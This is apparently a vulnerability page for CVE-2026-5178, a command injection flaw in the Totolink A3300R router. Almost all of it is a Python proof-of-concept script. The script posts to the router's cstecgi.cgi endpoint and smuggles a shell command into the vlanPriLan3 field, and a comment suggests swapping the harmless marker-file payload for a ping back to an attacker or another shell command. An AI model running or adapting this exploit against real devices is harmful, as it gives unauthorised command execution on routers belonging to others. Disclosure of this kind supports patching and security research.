CVE-2026-5178 Totolink A3300R 命令注入漏洞

import requests # Target URL target_url = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi" # Headers headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded" } # Payload data injecting command via vlanPriLan3 # Example: Ping back to attacker or execute a shell command payload = { "action": "setIptvCfg", "vlanPriLan3": "1; echo 'CVE-2026-5178 Vulnerable' > /tmp/poc.txt; #" } try: # Sending POST request response = requests.post(target_url, headers=headers, data=payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print(f"[+] Response: {response.text}") else: print(f"[-] Failed to send request. Status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")